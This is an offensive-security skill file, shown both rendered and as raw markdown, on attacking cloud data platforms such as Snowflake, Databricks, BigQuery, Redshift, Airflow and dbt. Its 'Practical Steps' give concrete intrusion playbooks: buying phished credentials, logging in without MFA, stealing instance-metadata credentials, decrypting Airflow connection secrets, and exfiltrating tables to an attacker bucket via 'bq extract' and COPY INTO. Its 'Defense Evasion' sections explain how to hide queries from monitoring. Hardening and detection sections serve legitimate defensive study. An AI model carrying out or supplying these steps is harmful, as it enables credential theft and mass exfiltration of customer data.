Data Platform Attack
Supplementary Files:
payloads.md — Attack payloads and commands organized by platform: Snowflake, Databricks, BigQuery, Redshift, dbt, Airflow, Spark, and lakehouse cross-platform attacks
test-cases.md — 18 structured test cases covering reconnaissance, identity abuse, SQL injection at warehouse scale, secrets harvesting, notebook injection, and exfiltration
guides/data-platform-attack-playbook.md — End-to-end playbook with engagement scoping, lab setup, reconnaissance methodology, identity abuse workflows, SQLi-at-scale patterns, exfiltration tactics, and blue-team detection engineering
guides/real-world-incident-case-studies.md — Eight case studies including the 2024 Snowflake/Lapsus$/Scattered Spider breach, Mandiant UNC5537, Databricks notebook abuse, Airflow DAG secret harvesting, and dbt CI token theft
Summary
This skill targets modern cloud data platforms — warehouses, lakehouses, orchestration layers, and transformation pipelines — where the boundary between analytics and production has collapsed. Attackers no longer tunnel through database listeners; they walk in through SSO, service tokens, and CI/CD pipelines.
Tools: snowsql, databricks-cli, gcloud (BigQuery), aws cli (Redshift/Athena), bq, psql (Redshift), dbt, airflow-cli, spark-sql, sqlmap, pacu, enumerate-iam, m365 dataset scrapers
Domain: data-platform
MITRE ATT&CK: TA0006 Credential Access · T1078 Valid Accounts · T1213 Data from Information Repositories · T1552 Unsecured Credentials
Description
Attacks against cloud data platforms and analytics pipelines — Snowflake, Databricks, BigQuery, Redshift, dbt, Apache Airflow, and lakehouse architectures. These platforms concentrate an organization's most valuable data behind identity boundaries rather than network boundaries, so the primary attack surface is identity abuse, misconfigured public endpoints, secrets embedded in pipelines, and SQL injection scaled across warehouses that contain every production table.
This skill is distinct from:
- database-attack — which targets RDBMS at the protocol/listener level (Oracle TNS, MySQL socket, Redis/MongoDB unauth) behind a network perimeter
- cloud-security — which targets CSP control planes (EC2/IAM/S3) broadly
- container-security — which targets OCI/K8s
Where database-attack asks "can I reach the listener?", data-platform-attack asks "given that the warehouse is internet-reachable by design and uses SSO/SAML, how do I turn a phished engineer into 4TB of exfiltrated customer records?"
Coverage includes: Snowflake account enumeration (origins + ORGNAME-USERNAME), key-pair auth abuse, SCIM provisioning gaps, network policies as the only firewall, Databricks workspace takeover via account-console tokens and PATs, BigQuery IAM abuse and authorized datasets, Redshift IAM chaining, dbt CI/CD token theft, Airflow DAG secret harvesting, Spark/Livy code injection, notebook RCE via %sh/%scala, lakehouse delta-layer corruption, and cross-tenant exfiltration via shared shares/marketplace listings.
Use Cases
- Snowflake account reconnaissance — enumerate account URLs (
xy12345.snowflakecomputing.com), confirm account existence via SAML IdP redirect, identify org-name formats
- Snowflake identity abuse — phished user → no MFA enforcement → direct login → data exfiltration via
COPY INTO s3 or external stages (Mandiant UNC5537 / 2024-06 breach pattern)
- Databricks workspace takeover — leaked PAT or account-console token → enumerate clusters, notebooks, and secrets scopes → pivot to AWS/GCP via instance profiles
- Airflow DAG secrets harvesting — read-only access to metadata DB or DAG repo → extract AWS/Azure/GCP credentials from Connections, Variables, and task code
- dbt CI token theft — compromising the CI runner → exfiltrate the
DBT_CLOUD_API_TOKEN or SNOWFLAKE_PASSWORD from environment → impersonate service accounts
- BigQuery authorized-dataset abuse — accept inherited grants from
analyst_group → run bq query --use_legacy_sql=false across federated datasets
- Redshift IAM chaining —
redshift:GetClusterCredentials → redshift:ExecuteQuery → escalate to iam:chaining-for-db-root
- Notebook code injection — supply malicious CSV/Parquet → Databricks autoloader ingests →
%python cell hijacks cluster
- Lakehouse delta corruption — tamper with
_delta_log JSON via compromised service principal → silent data drift
- Cross-tenant exfiltration — abuse Snowflake Secure Data Sharing / Databricks Marketplace listings to exfiltrate to attacker-controlled account
Differentiation from Adjacent Skills
| Skill |
Primary surface |
Boundary type |
Typical entry |
database-attack |
RDBMS listener (Oracle TNS, MySQL socket, Redis) |
Network perimeter |
Brute force on listener |
cloud-security |
CSP control plane (EC2, IAM, S3, Azure RM) |
Cloud IAM |
IAM enumeration |
data-platform-attack (this) |
Warehouse / lakehouse / orchestrator |
Identity perimeter |
Phishing, token leak, public endpoint |
container-security |
OCI, Kubernetes, containerd |
K8s RBAC, pod identity |
Container escape |
ai-agent-framework-attack |
LLM agent runtime |
Agent prompt / tool surface |
Indirect prompt injection |
supply-chain-security |
SBOM, package registry, build pipeline |
CI/CD pipeline |
Dependency confusion |
Core Tools
Snowflake
- snowsql — official CLI; use with
SNOWFLAKE_ACCOUNT, --authenticator=externalbrowser for SSO
- snowflake-connector-python — script recon and bulk queries
- snowflake-labs GitHub repos — reference payloads (account enumeration, role mapping)
Databricks
- databricks-cli — workspace, DBFS, secrets, clusters APIs
- databricks-sql-cli — direct warehouse SQL via thrift
- azure-databricks-tools — workspace enumeration for Azure deployments
BigQuery / GCP
- bq — query, dataset, table enumeration
- gcloud — IAM, service-account impersonation,
bq get-iam-policy
- enumerate-iam — brute-force
gcloud permissions on a token
Redshift / AWS
- aws cli —
redshift-data, redshift-serverless, athena
- psql — direct cluster connection after
get-cluster-credentials
- pacu — automates Redshift-to-IAM chaining
dbt / Airflow
- dbt (CLI) — manifest exploration after token theft
- airflow-cli — DAG, connection, variable enumeration
- astronomer-cosmos — DAG parser to identify secrets in code
General
- sqlmap — warehouse SQLi (slower; use
--dbms=postgres for Snowflake/Redshift wire protocols)
- pacu — AWS-side escalation from data platform pivot
- scattered-spider-style OSINT — Snowflake account enumeration via GitHub dorks and public SSO portals
Methodology
Phase 1 — Reconnaissance (Account & Tenant Discovery)
- Snowflake account URL enumeration via org patterns (
acme-orgname.snowflakecomputing.com)
- SAML IdP fingerprinting to confirm account existence
- GitHub dorks:
"snowflake_account", "snowflakecomputing.com", dbt_profiles.yml blobs
- Databricks workspace URL patterns (
adb-<digits>.<azuredatabricks.net | aws>.net)
- BigQuery dataset shadows (
publicdata.googleapis.com, bigquery-public-data)
- Airflow webserver fingerprinting via
/login/ and DagBag banner
- dbt Cloud job logs leaked in CI artifacts
Phase 2 — Identity & Authentication Abuse
- Snowflake: phished user via SSO → no network policy → direct login → role enumeration (
use role accountadmin)
- Snowflake: SCIM provisioning mismatch →
AAD_TO_SNOWFLAKE_ROLE_MAPPING allows lateral to accountadmin
- Snowflake: key-pair auth abuse from leaked private key in CI logs
- Databricks: PAT leak in Notebook export, MLflow artifact URL, or cluster log
- Databricks: account-console token (admin only) → workspace admin bypass
- BigQuery: service-account key leak →
bq query --impersonate-service-account=
- Airflow: Connection passwords in metadata DB (
fernet_key extraction if weak/leaked)
- dbt:
DBT_CLOUD_API_TOKEN in CI env → enumerate jobs → fetch dbt_cloud_service_token_
Phase 3 — Warehouse SQL Injection at Scale
- Find BI dashboards / embedded analytics endpoints that fan into Snowflake/BigQuery
- Inject via filter parameters, date selectors, dimension values
UNION SELECT across SNOWFLAKE.ACCOUNT_USAGE for global recon
- BigQuery: information_schema enumeration via
EXCEPT interleaving
- Pivot to
COPY INTO @external_stage (Snowflake) or EXPORT DATA OPTIONS(uri='gs://...') (BigQuery) for exfil
Phase 4 — Pipeline & DAG Exploitation
- Airflow Connections metadata DB exposure → harvest AWS keys, Slack webhooks, Snowflake passwords
- Airflow Variables leak → CI/CD tokens, Jira API keys
- dbt
profiles.yml in CI artifact → Snowflake/BigQuery/Redshift password
- dbt model code → identify tables with secrets (
SELECT * FROM dbt_audit.users)
- Spark/Livy code injection via
%sh or %scala in shared notebooks
- Databricks notebook
%python cell → AWS IMDS → instance-profile theft
Phase 5 — Notebook & Compute RCE
- Databricks: upload malicious
.whl to cluster init script → cluster-wide RCE
- Databricks:
%scala cell → dbutils.notebook.exit chain → secret-scope read
- Synapse: Spark pool → IMDS → subscription-wide lateral
- BigQuery remote functions → ARN of attacker Lambda → arbitrary execution
- Airflow KubernetesExecutor → pod spec tampering → cluster node takeover
Phase 6 — Lakehouse & Delta Layer Attacks
- Delta Lake
_delta_log JSON tampering via compromised service principal
- Iceberg metadata manipulation (
METADATA_LOG replay attack)
- Hudi timeline corruption → silent data drift
- Lakehouse federation: abuse cross-engine views to read external catalog tables
Phase 7 — Cross-Tenant & Exfiltration
- Snowflake Secure Data Sharing: lister account → exfil via shared-to-attacker database
- Databricks Marketplace: publish a dataset with embedded webhook on
READ_API
- BigQuery Authorized Views: chain from
dataset:public_view → dataset:private_table
- Exfil via
COPY INTO @s3_external_stage, EXPORT DATA OPTIONS, UNLOAD, bq extract
- Exfil rate-bypass via partition-pruned queries over many small result sets
- Anti-detection:
ALTER SESSION SET QUERY_TAG='daily-refresh' to blend with jobs
Defense Perspective
Core Principles
- Identity is the new perimeter — assume the warehouse is internet-reachable; enforce MFA, SCIM role mapping, and conditional access
- Network policies, not firewalls — Snowflake network policy = allowlist + blocklist of CIDRs; apply per-user, per-role
- Tri-partition of duties — separate producer, consumer, and auditor roles; never let a producer grant itself accountadmin
- Secrets never in DAGs — use Airflow Connections backed by AWS Secrets Manager / HashiCorp Vault; never
Variable.set("AWS_KEY", ...)
- Detect by behavior, not by signature — large
COPY INTO, unfamiliar QUERY_TAG, new geography, unusual role escalation are the high-signal events
Detection Engineering
- Snowflake:
SNOWFLAKE.ACCOUNT_USAGE.ACCESS_HISTORY for direct object access tracing
- Snowflake: alerts on
SESSION_CLIENT_TYPE changes, new AUTHENTICATION_METHOD
- BigQuery: Cloud Audit Logs
bigquery.googleapis.com/DataRead with jobInsert filtering
- Airflow: DAG spec diffs in CI, alert on
Variable.set in scheduler logs
- Databricks: cluster-log forward to Splunk; alert on
%sh cells touching IMDS
- Universal: alert on
COPY INTO @external_stage where stage owner ≠ workload identity
Hardening Checklist
Practical Steps
Snowflake — UNC5537 Style Entry
- Confirm target account:
curl -I https://acme.snowflakecomputing.com → 302 to Okta/Azure
- Purchase phished credentials on access broker marketplaces or use leaked cookie session
- If no MFA enforced:
snowsql -a acme -u phished_user --authenticator=externalbrowser
- Enumerate:
SHOW ROLES;, SHOW GRANTS;, USE ROLE ACCOUNTADMIN; (if SCIM mis-mapped)
- Pivot to exfil:
COPY INTO @my_external_stage FROM customers;
- Cover tracks:
ALTER SESSION SET QUERY_TAG='nightly_ingest';
Databricks — PAT to AWS
- Obtain leaked PAT from CI logs or notebook export
databricks clusters list → identify cluster with instance profile ARN
databricks secrets list-scopes → enumerate and dump via ACL flaws
- Run
%python cell: requests.get('http://169.254.169.254/latest/meta-data/iam/security-credentials/...')
- Use stolen instance profile creds via
aws s3 ls against the customer bucket
Airflow — Connection Harvest
- Obtain read access to Airflow metadata DB (often backed by RDS)
SELECT conn_id, conn_type, password FROM connection; (encrypted with FERNET_KEY from env)
- Pull
FERNET_KEY from AIRFLOW__CORE__FERNET_KEY env or config file
- Decrypt all connections offline
- Pivot: use Snowflake connection creds to authenticate via
snowsql
BigQuery — Authorized Dataset Abuse
- Service-account key leak →
gcloud auth activate-service-account --key-file=sa.json
bq ls --projects=customer-prod → enumerate datasets
bq show --format=prettyjson dataset.table → schema recon
bq query --use_legacy_sql=false 'SELECT * FROM \customer-prod.pii.users` LIMIT 1000'`
- Exfil:
bq extract --destination_format=CSV 'customer-prod.pii.users' gs://attacker-bucket/users.csv
Redshift — IAM Chaining
- Compromise a low-priv role with
redshift:GetClusterCredentials
- Connect via psql:
psql -h cluster.x.redshift.amazonaws.com -u db_user
- Read
stv_session_activity for lateral recon
- Identify tables with secrets (
pg_catalog.pg_shadow)
- Pivot: enumerate AWS permissions of the cluster's IAM role via
redshift-data:ExecuteStatement
Detection Methods
Data Platform Audit Logs
- Snowflake / Databricks / BigQuery:
LOGIN_HISTORY, QUERY_HISTORY, COPY_HISTORY; alert on anomalous SELECT patterns.
- Apache Hive / Iceberg / Delta Lake: Query logs; alert on cross-database enumeration.
- Presto / Trino: Query audit table; alert on
SELECT * without WHERE from external users.
SIEM Detection Rules
- Splunk SPL:
index=snowflake sourcetype=snowflake:query | where bytes_scanned > 1000000000
- Native platform: Snowflake Account Usage views; BigQuery Information Schema; alert on mass export.
- Immuta / Privacera: Data access governance with anomaly detection.
Defense Evasion Techniques
Query Stealth
- Below scan threshold: Keep
bytes_scanned below platform monitoring threshold.
- Distribute across queries: Split large query into many small; aggregate results.
- Off-hours queries: Run during low-activity windows; blends with maintenance.
- Use of cached results: Trigger cache via legitimate-looking queries; then read cache.
Privilege Abuse Stealth
- Use legitimate roles: Don't create new role; abuse existing over-privileged role.
- Service account tokens: Use long-lived tokens rather than user auth; no login events.
- Cross-platform access: Pivot from data lake (S3) to data warehouse (Snowflake) via legitimate ingestion pipeline.
Cross-References
skills/database-attack/SKILL.md — protocol-level RDBMS attacks (Oracle TNS, MySQL socket)
skills/cloud-security/SKILL.md — broader CSP control plane attacks
skills/ai-agent-framework-attack/SKILL.md — when LLM agents become the data platform consumer
skills/secret-discovery/SKILL.md — secrets discovery techniques applicable to DAGs and notebooks
skills/persistence-attacks/SKILL.md — Snowflake persistent query-tag evasion
skills/pentest-reporting/SKILL.md — reporting templates for data-breach simulations
References
- Mandiant — Cloud Threat Report: UNC5537 Snowflake Campaign (2024-06)
- Snowflake Security Trust Center — Information on Threat Campaign (2024-06)
- Databricks — Security Best Practices for Workspace Administration (2024)
- Google Cloud — BigQuery Authorized Datasets and Views (2024)
- MITRE ATT&CK — T1213 Data from Information Repositories, T1078.004 Cloud Accounts, T1552.007 Container and Cloud Instance Credentials API
- dbt Labs — Security Best Practices for CI/CD Token Management (2024)
- Apache Airflow Security Guide — Connections, Secrets Backends, FERNET_KEY (2024)
1---2name: data-platform-attack3description: Attacks against cloud data platforms and analytics pipelines — Snowflake, Databricks, BigQuery, Redshift, dbt, Apache Airflow, and lakehouse architectures. Covers identity-based breaches (no perimeter), warehouse SQL injection at scale, IAM privilege escalation, secrets in DAGs, notebook code injection, and cross-tenant data exfiltration. Distinct from database-attack (protocol-level RDBMS) and cloud-security (broader CSP control plane).4---56# Data Platform Attack78> **Supplementary Files**:9> - `payloads.md` — Attack payloads and commands organized by platform: Snowflake, Databricks, BigQuery, Redshift, dbt, Airflow, Spark, and lakehouse cross-platform attacks10> - `test-cases.md` — 18 structured test cases covering reconnaissance, identity abuse, SQL injection at warehouse scale, secrets harvesting, notebook injection, and exfiltration11> - `guides/data-platform-attack-playbook.md` — End-to-end playbook with engagement scoping, lab setup, reconnaissance methodology, identity abuse workflows, SQLi-at-scale patterns, exfiltration tactics, and blue-team detection engineering12> - `guides/real-world-incident-case-studies.md` — Eight case studies including the 2024 Snowflake/Lapsus$/Scattered Spider breach, Mandiant UNC5537, Databricks notebook abuse, Airflow DAG secret harvesting, and dbt CI token theft1314## Summary1516This skill targets modern cloud data platforms — warehouses, lakehouses, orchestration layers, and transformation pipelines — where the boundary between analytics and production has collapsed. Attackers no longer tunnel through database listeners; they walk in through SSO, service tokens, and CI/CD pipelines.1718**Tools**: snowsql, databricks-cli, gcloud (BigQuery), aws cli (Redshift/Athena), bq, psql (Redshift), dbt, airflow-cli, spark-sql, sqlmap, pacu, enumerate-iam, m365 dataset scrapers1920**Domain**: data-platform2122**MITRE ATT&CK**: TA0006 Credential Access · T1078 Valid Accounts · T1213 Data from Information Repositories · T1552 Unsecured Credentials2324## Description2526Attacks against cloud data platforms and analytics pipelines — Snowflake, Databricks, BigQuery, Redshift, dbt, Apache Airflow, and lakehouse architectures. These platforms concentrate an organization's most valuable data behind identity boundaries rather than network boundaries, so the primary attack surface is **identity abuse, misconfigured public endpoints, secrets embedded in pipelines, and SQL injection scaled across warehouses that contain every production table**.2728This skill is distinct from:29- **database-attack** — which targets RDBMS at the protocol/listener level (Oracle TNS, MySQL socket, Redis/MongoDB unauth) behind a network perimeter30- **cloud-security** — which targets CSP control planes (EC2/IAM/S3) broadly31- **container-security** — which targets OCI/K8s3233Where database-attack asks "can I reach the listener?", data-platform-attack asks "given that the warehouse is internet-reachable by design and uses SSO/SAML, how do I turn a phished engineer into 4TB of exfiltrated customer records?"3435Coverage includes: Snowflake account enumeration (origins + `ORGNAME-USERNAME`), key-pair auth abuse, SCIM provisioning gaps, network policies as the only firewall, Databricks workspace takeover via account-console tokens and PATs, BigQuery IAM abuse and authorized datasets, Redshift IAM chaining, dbt CI/CD token theft, Airflow DAG secret harvesting, Spark/Livy code injection, notebook RCE via `%sh`/`%scala`, lakehouse delta-layer corruption, and cross-tenant exfiltration via shared shares/marketplace listings.3637## Use Cases3839- **Snowflake account reconnaissance** — enumerate account URLs (`xy12345.snowflakecomputing.com`), confirm account existence via SAML IdP redirect, identify org-name formats40- **Snowflake identity abuse** — phished user → no MFA enforcement → direct login → data exfiltration via `COPY INTO s3` or external stages (Mandiant UNC5537 / 2024-06 breach pattern)41- **Databricks workspace takeover** — leaked PAT or account-console token → enumerate clusters, notebooks, and secrets scopes → pivot to AWS/GCP via instance profiles42- **Airflow DAG secrets harvesting** — read-only access to metadata DB or DAG repo → extract AWS/Azure/GCP credentials from Connections, Variables, and task code43- **dbt CI token theft** — compromising the CI runner → exfiltrate the `DBT_CLOUD_API_TOKEN` or `SNOWFLAKE_PASSWORD` from environment → impersonate service accounts44- **BigQuery authorized-dataset abuse** — accept inherited grants from `analyst_group` → run `bq query --use_legacy_sql=false` across federated datasets45- **Redshift IAM chaining** — `redshift:GetClusterCredentials` → `redshift:ExecuteQuery` → escalate to `iam:chaining-for-db-root`46- **Notebook code injection** — supply malicious CSV/Parquet → Databricks autoloader ingests → `%python` cell hijacks cluster47- **Lakehouse delta corruption** — tamper with `_delta_log` JSON via compromised service principal → silent data drift48- **Cross-tenant exfiltration** — abuse Snowflake Secure Data Sharing / Databricks Marketplace listings to exfiltrate to attacker-controlled account4950## Differentiation from Adjacent Skills5152| Skill | Primary surface | Boundary type | Typical entry |53|---|---|---|---|54| `database-attack` | RDBMS listener (Oracle TNS, MySQL socket, Redis) | Network perimeter | Brute force on listener |55| `cloud-security` | CSP control plane (EC2, IAM, S3, Azure RM) | Cloud IAM | IAM enumeration |56| `data-platform-attack` (this) | Warehouse / lakehouse / orchestrator | Identity perimeter | Phishing, token leak, public endpoint |57| `container-security` | OCI, Kubernetes, containerd | K8s RBAC, pod identity | Container escape |58| `ai-agent-framework-attack` | LLM agent runtime | Agent prompt / tool surface | Indirect prompt injection |59| `supply-chain-security` | SBOM, package registry, build pipeline | CI/CD pipeline | Dependency confusion |6061## Core Tools6263### Snowflake64- **snowsql** — official CLI; use with `SNOWFLAKE_ACCOUNT`, `--authenticator=externalbrowser` for SSO65- **snowflake-connector-python** — script recon and bulk queries66- **snowflake-labs** GitHub repos — reference payloads (account enumeration, role mapping)6768### Databricks69- **databricks-cli** — workspace, DBFS, secrets, clusters APIs70- **databricks-sql-cli** — direct warehouse SQL via thrift71- **azure-databricks-tools** — workspace enumeration for Azure deployments7273### BigQuery / GCP74- **bq** — query, dataset, table enumeration75- **gcloud** — IAM, service-account impersonation, ` bq get-iam-policy`76- **enumerate-iam** — brute-force `gcloud` permissions on a token7778### Redshift / AWS79- **aws cli** — `redshift-data`, `redshift-serverless`, `athena`80- **psql** — direct cluster connection after `get-cluster-credentials`81- **pacu** — automates Redshift-to-IAM chaining8283### dbt / Airflow84- **dbt** (CLI) — manifest exploration after token theft85- **airflow-cli** — DAG, connection, variable enumeration86- **astronomer-cosmos** — DAG parser to identify secrets in code8788### General89- **sqlmap** — warehouse SQLi (slower; use `--dbms=postgres` for Snowflake/Redshift wire protocols)90- **pacu** — AWS-side escalation from data platform pivot91- **scattered-spider-style** OSINT — Snowflake account enumeration via GitHub dorks and public SSO portals9293## Methodology9495### Phase 1 — Reconnaissance (Account & Tenant Discovery)96- Snowflake account URL enumeration via org patterns (`acme-orgname.snowflakecomputing.com`)97- SAML IdP fingerprinting to confirm account existence98- GitHub dorks: `"snowflake_account"`, `"snowflakecomputing.com"`, `dbt_profiles.yml` blobs99- Databricks workspace URL patterns (`adb-<digits>.<azuredatabricks.net | aws>.net`)100- BigQuery dataset shadows (`publicdata.googleapis.com`, `bigquery-public-data`)101- Airflow webserver fingerprinting via `/login/` and DagBag banner102- dbt Cloud job logs leaked in CI artifacts103104### Phase 2 — Identity & Authentication Abuse105- Snowflake: phished user via SSO → no network policy → direct login → role enumeration (`use role accountadmin`)106- Snowflake: SCIM provisioning mismatch → `AAD_TO_SNOWFLAKE_ROLE_MAPPING` allows lateral to accountadmin107- Snowflake: key-pair auth abuse from leaked private key in CI logs108- Databricks: PAT leak in Notebook export, MLflow artifact URL, or cluster log109- Databricks: account-console token (admin only) → workspace admin bypass110- BigQuery: service-account key leak → `bq query --impersonate-service-account=`111- Airflow: Connection passwords in metadata DB (`fernet_key` extraction if weak/leaked)112- dbt: `DBT_CLOUD_API_TOKEN` in CI env → enumerate jobs → fetch `dbt_cloud_service_token_`113114### Phase 3 — Warehouse SQL Injection at Scale115- Find BI dashboards / embedded analytics endpoints that fan into Snowflake/BigQuery116- Inject via filter parameters, date selectors, dimension values117- `UNION SELECT` across `SNOWFLAKE.ACCOUNT_USAGE` for global recon118- BigQuery: information_schema enumeration via `EXCEPT` interleaving119- Pivot to `COPY INTO @external_stage` (Snowflake) or `EXPORT DATA OPTIONS(uri='gs://...')` (BigQuery) for exfil120121### Phase 4 — Pipeline & DAG Exploitation122- Airflow Connections metadata DB exposure → harvest AWS keys, Slack webhooks, Snowflake passwords123- Airflow Variables leak → CI/CD tokens, Jira API keys124- dbt `profiles.yml` in CI artifact → Snowflake/BigQuery/Redshift password125- dbt model code → identify tables with secrets (`SELECT * FROM dbt_audit.users`)126- Spark/Livy code injection via `%sh` or `%scala` in shared notebooks127- Databricks notebook `%python` cell → AWS IMDS → instance-profile theft128129### Phase 5 — Notebook & Compute RCE130- Databricks: upload malicious `.whl` to cluster init script → cluster-wide RCE131- Databricks: `%scala` cell → `dbutils.notebook.exit` chain → secret-scope read132- Synapse: Spark pool → IMDS → subscription-wide lateral133- BigQuery remote functions → ARN of attacker Lambda → arbitrary execution134- Airflow KubernetesExecutor → pod spec tampering → cluster node takeover135136### Phase 6 — Lakehouse & Delta Layer Attacks137- Delta Lake `_delta_log` JSON tampering via compromised service principal138- Iceberg metadata manipulation (`METADATA_LOG` replay attack)139- Hudi timeline corruption → silent data drift140- Lakehouse federation: abuse cross-engine views to read external catalog tables141142### Phase 7 — Cross-Tenant & Exfiltration143- Snowflake Secure Data Sharing: lister account → exfil via shared-to-attacker database144- Databricks Marketplace: publish a dataset with embedded webhook on `READ_API`145- BigQuery Authorized Views: chain from `dataset:public_view` → `dataset:private_table`146- Exfil via `COPY INTO @s3_external_stage`, `EXPORT DATA OPTIONS`, `UNLOAD`, `bq extract`147- Exfil rate-bypass via partition-pruned queries over many small result sets148- Anti-detection: `ALTER SESSION SET QUERY_TAG='daily-refresh'` to blend with jobs149150### Defense Perspective151152### Core Principles1531. **Identity is the new perimeter** — assume the warehouse is internet-reachable; enforce MFA, SCIM role mapping, and conditional access1542. **Network policies, not firewalls** — Snowflake network policy = allowlist + blocklist of CIDRs; apply per-user, per-role1553. **Tri-partition of duties** — separate producer, consumer, and auditor roles; never let a producer grant itself accountadmin1564. **Secrets never in DAGs** — use Airflow Connections backed by AWS Secrets Manager / HashiCorp Vault; never `Variable.set("AWS_KEY", ...)`1575. **Detect by behavior, not by signature** — large `COPY INTO`, unfamiliar `QUERY_TAG`, new geography, unusual role escalation are the high-signal events158159### Detection Engineering160- Snowflake: `SNOWFLAKE.ACCOUNT_USAGE.ACCESS_HISTORY` for direct object access tracing161- Snowflake: alerts on `SESSION_CLIENT_TYPE` changes, new `AUTHENTICATION_METHOD`162- BigQuery: Cloud Audit Logs `bigquery.googleapis.com/DataRead` with `jobInsert` filtering163- Airflow: DAG spec diffs in CI, alert on `Variable.set` in scheduler logs164- Databricks: cluster-log forward to Splunk; alert on `%sh` cells touching IMDS165- Universal: alert on `COPY INTO @external_stage` where stage owner ≠ workload identity166167### Hardening Checklist168- [ ] Enforce MFA (preferably phishing-resistant: WebAuthn, YubiKey) on all data platform users169- [ ] Apply network policies to every Snowflake account; deny non-corporate CIDRs170- [ ] Use SCIM with explicit deny-mapping; never auto-grant accountadmin171- [ ] Databricks: rotate PATs quarterly; prefer OAuth over PAT172- [ ] Airflow: back Connections with secret manager; rotate `FERNET_KEY`173- [ ] dbt: use short-lived tokens in CI; rotate `DBT_CLOUD_API_TOKEN` on personnel change174- [ ] BigQuery: enforce `authorizedViews` + `authorizedDatasets` + condition bindings175- [ ] Lakehouse: write-audit-log on `_delta_log` for every committed version176- [ ] Enable cloud platform's UEBA / GuardDuty / Microsoft Defender for Data177178## Practical Steps179180### Snowflake — UNC5537 Style Entry1811. Confirm target account: `curl -I https://acme.snowflakecomputing.com` → 302 to Okta/Azure1822. Purchase phished credentials on access broker marketplaces or use leaked cookie session1833. If no MFA enforced: `snowsql -a acme -u phished_user --authenticator=externalbrowser`1844. Enumerate: `SHOW ROLES;`, `SHOW GRANTS;`, `USE ROLE ACCOUNTADMIN;` (if SCIM mis-mapped)1855. Pivot to exfil: `COPY INTO @my_external_stage FROM customers;`1866. Cover tracks: `ALTER SESSION SET QUERY_TAG='nightly_ingest';`187188### Databricks — PAT to AWS1891. Obtain leaked PAT from CI logs or notebook export1902. `databricks clusters list` → identify cluster with instance profile ARN1913. `databricks secrets list-scopes` → enumerate and dump via ACL flaws1924. Run `%python` cell: `requests.get('http://169.254.169.254/latest/meta-data/iam/security-credentials/...')`1935. Use stolen instance profile creds via `aws s3 ls` against the customer bucket194195### Airflow — Connection Harvest1961. Obtain read access to Airflow metadata DB (often backed by RDS)1972. `SELECT conn_id, conn_type, password FROM connection;` (encrypted with `FERNET_KEY` from env)1983. Pull `FERNET_KEY` from `AIRFLOW__CORE__FERNET_KEY` env or config file1994. Decrypt all connections offline2005. Pivot: use Snowflake connection creds to authenticate via `snowsql`201202### BigQuery — Authorized Dataset Abuse2031. Service-account key leak → `gcloud auth activate-service-account --key-file=sa.json`2042. `bq ls --projects=customer-prod` → enumerate datasets2053. `bq show --format=prettyjson dataset.table` → schema recon2064. `bq query --use_legacy_sql=false 'SELECT * FROM \`customer-prod.pii.users\` LIMIT 1000'`2075. Exfil: `bq extract --destination_format=CSV 'customer-prod.pii.users' gs://attacker-bucket/users.csv`208209### Redshift — IAM Chaining2101. Compromise a low-priv role with `redshift:GetClusterCredentials`2112. Connect via psql: `psql -h cluster.x.redshift.amazonaws.com -u db_user`2123. Read `stv_session_activity` for lateral recon2134. Identify tables with secrets (`pg_catalog.pg_shadow`)2145. Pivot: enumerate AWS permissions of the cluster's IAM role via `redshift-data:ExecuteStatement`215216## Detection Methods217218### Data Platform Audit Logs219- **Snowflake / Databricks / BigQuery**: `LOGIN_HISTORY`, `QUERY_HISTORY`, `COPY_HISTORY`; alert on anomalous SELECT patterns.220- **Apache Hive / Iceberg / Delta Lake**: Query logs; alert on cross-database enumeration.221- **Presto / Trino**: Query audit table; alert on `SELECT *` without WHERE from external users.222223### SIEM Detection Rules224- **Splunk SPL**: `index=snowflake sourcetype=snowflake:query | where bytes_scanned > 1000000000`225- **Native platform**: Snowflake Account Usage views; BigQuery Information Schema; alert on mass export.226- **Immuta / Privacera**: Data access governance with anomaly detection.227228## Defense Evasion Techniques229230### Query Stealth231- **Below scan threshold**: Keep `bytes_scanned` below platform monitoring threshold.232- **Distribute across queries**: Split large query into many small; aggregate results.233- **Off-hours queries**: Run during low-activity windows; blends with maintenance.234- **Use of cached results**: Trigger cache via legitimate-looking queries; then read cache.235236### Privilege Abuse Stealth237- **Use legitimate roles**: Don't create new role; abuse existing over-privileged role.238- **Service account tokens**: Use long-lived tokens rather than user auth; no login events.239- **Cross-platform access**: Pivot from data lake (S3) to data warehouse (Snowflake) via legitimate ingestion pipeline.240241## Cross-References242- `skills/database-attack/SKILL.md` — protocol-level RDBMS attacks (Oracle TNS, MySQL socket)243- `skills/cloud-security/SKILL.md` — broader CSP control plane attacks244- `skills/ai-agent-framework-attack/SKILL.md` — when LLM agents become the data platform consumer245- `skills/secret-discovery/SKILL.md` — secrets discovery techniques applicable to DAGs and notebooks246- `skills/persistence-attacks/SKILL.md` — Snowflake persistent query-tag evasion247- `skills/pentest-reporting/SKILL.md` — reporting templates for data-breach simulations248249## References250251- Mandiant — *Cloud Threat Report: UNC5537 Snowflake Campaign* (2024-06)252- Snowflake Security Trust Center — *Information on Threat Campaign* (2024-06)253- Databricks — *Security Best Practices for Workspace Administration* (2024)254- Google Cloud — *BigQuery Authorized Datasets and Views* (2024)255- MITRE ATT&CK — *T1213 Data from Information Repositories*, *T1078.004 Cloud Accounts*, *T1552.007 Container and Cloud Instance Credentials API*256- dbt Labs — *Security Best Practices for CI/CD Token Management* (2024)257- Apache Airflow Security Guide — *Connections, Secrets Backends, FERNET_KEY* (2024)